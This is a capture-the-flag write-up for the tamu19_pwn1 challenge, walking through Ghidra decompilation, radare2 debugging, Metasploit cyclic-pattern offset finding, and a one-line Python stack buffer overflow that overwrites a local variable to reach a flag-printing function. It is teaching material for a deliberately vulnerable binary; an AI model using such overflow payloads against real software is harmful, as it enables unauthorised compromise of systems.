📌
Nightmare
  • Stack Buffer Overflow-01 (csaw18_boi)
  • Stack Buffer Overflow-02 (tamu19_pwn1)
Powered by GitBook
On this page
  • Decompiling the binary with Ghidra
  • Debugging the binary with Radare2
  • Finding the offset
  • Final Exploit

Was this helpful?

Stack Buffer Overflow-02 (tamu19_pwn1)

PreviousStack Buffer Overflow-01 (csaw18_boi)

Last updated 3 years ago

Was this helpful?

I will be following up on the last writeup and in this one, we will be doing some more stack buffer overflow challenges. In this challenge, we first reverse engineer the binary to realize there are 3 checks that binary does. The 2 checks are just simple string comparisions but for the last one, we have to overflow a variable and make the check pass.

Decompiling the binary with Ghidra

Before proceeding let's run the file command on the binary, this is done to know more details, (like for what architecture the binary is compiled, etc) about the binary we will be going to exploit

❯ file pwn1
pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped

We see it's a 32-bit ELF binary and it is dynamically linked.

Now lets fire off Ghidra and take a look at the decompiled code:

  • We select the main function from Symbol Tree pane inside ghidra

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  int iVar1;
  char local_43 [43];
  int local_18;
  undefined4 local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  setvbuf(stdout,(char *)0x2,0,0);
  local_14 = 2;
  local_18 = 0;
  puts(
      "Stop! Who would cross the Bridge of Death must answer me these questions three, ere theother side he see."
      );
  puts("What... is your name?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is your quest?");
  fgets(local_43,0x2b,stdin);
  iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
  if (iVar1 != 0) {
    puts("I don\'t know that! Auuuuuuuugh!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("What... is my secret?");
  gets(local_43);
  if (local_18 == -0x215eef38) {
    print_flag();
  }
  else {
    puts("I don\'t know that! Auuuuuuuugh!");
  }
  return 0;
}

You can see the main function is doing a couple of string comparisions on line 21 and 29 and we now know the two strings it is comparing to areSir Lancelot of Camelot and To seek the Holy Grail.

This will pass the first two checks and after that, there is another check, which is checking local_18 with a hex value.

Now let's do some dynamic analysis using radare2

Debugging the binary with Radare2

I have added the two lines Sir Lancelot of Camelot \n and To seek the Holy Grail.\n to the stdin.txt file and after that, I have added a bunch of 'A's at the end of the file to fill the rest of the buffer. Now let's start radare2 with

r2 -e dbg.profile=tty.rr2 -d ./pwn1

and we should be inside radare2 CLI

  • Let's start by looking at all the functions inside the binary with

# Analyze the binary
aaa
# List the func
afl

We see there is a main function.

  • and lets disassemble main function with

pdf @ main

Let's put the breakpoint right towards the end of the code, where there is a cmp instruction (the third comparision). This is the assembly equivalent of the If statement we looked in the Ghidra output. We can put the breakpoint in radare2 with:

db 0x566268b2
  • Now if we print the disassembly again, we can see a b right next to the memory address we placed the breakpoint at.

  • Now we can execute the binary with dc (debugger continue) and we are presented with the output in r2 window saying hit breakpoint at: 0x566268b2

  • Let's run the binary with dc and switch to Visual Mode with the command vv and you should be presented with the following beautiful screen

In the stack you can see our input (a bunch of A's) and looking at the current instruction pointer we can see that var_10h is being compared with the hex 0xdea110c8 .

Note: In radare2 local variables are referenced with there relative location to the base pointer, i.e., If we have a variable var_10h that means its located 10h or (0x10 or decimal 16) away from the base pointer (ebp/rbp)

Now we know that the value ebp - 0x10 is being compared with 0xdea110c8.

  • In the stack we can see ebp being referenced in the comments in the stack view and we can simply look at the exact address that ebp holds down in the registers pane

We see ebp holds 0xff99f4e8 , now we want to look at the memory whose address is ebp - 0x10 or 0xff99f4d8 , so we can go to the address 0xffd249d0 in the stack view and look at the 8th column (0xff99f4d8). This is what the register ebp-0x10 points to.

  • Currently, that memory just holds a bunch of zeros. So the jne statement will result in the exit of the program and we will not get the flag.

To make the comparison statement true we just have to fill in the memory address that ebp points to, with the hex value 0xdea110c8 . And for that, we need to find the offset from the start of our input to the start of ebp .

We can either do this manually or automate this by creating a cyclic pattern. Obviously, as hackers we choose to automate, right?

Finding the offset

We will be using msfvenom's pattern_create module to create the cyclic pattern. Run the following command in another terminal pane

pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

We have the cyclic pattern with us. Let's stick it to the end of our stdin.txt (replacing A's):

python3 -c "print('Sir Lancelot of Camelot\n' + 'To seek the Holy Grail.\n' + 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9')" > stdin.txt
  • Now let's rerun the binary by first going into the command mode from Visual mode with : and then we can enter :

# Re-run the binary
> ood
# Continue the binary to hit the breakpoint
> dc
  • Now to go back into visual mode by pressing an enter (with no command) in the command mode and you should be presented with the following view

We can see the stack address has changed (but that's no problem for us right now)

We can see ebp - 0x10 or 0xfff38198 has the hex value 62 34 41 62 or b4Ab in ASCII. We can confirm that by

  1. Go to command mode with :

  2. Type px @ ebp and we can see the first four bytes are exactly what we found by just looking at the stack earlier

Now we can calculate the offset with metasploit's pattern_offset module.

➜ pattern_offset.rb -l 300 -q  b4Ab
'\xc8\x10\xa1\xde'[*] Exact match at offset 43

Before we can launch our first exploit we just need to encode the hex value 0xdea110c8 to little endian which is '\xc8\x10\xa1\xde'

Final Exploit

Now with the offset known, we can create our final exploit as follows

➜ python2 -c "print('Sir Lancelot of Camelot\n'+'To seek the Holy Grail.\n' + 'A' * offset + 'overflow value')" | ./pwn1
  • Offset: 43

  • Overflow value: \xc8\x10\xa1\xde

This is how our final exploit looks like:

And Boom! we got our flag!

I will not be going through how to set up the stdin and stdout environment that I will be using with radare2, you can follow the steps mentioned and finally, you should be having something similar to this:

here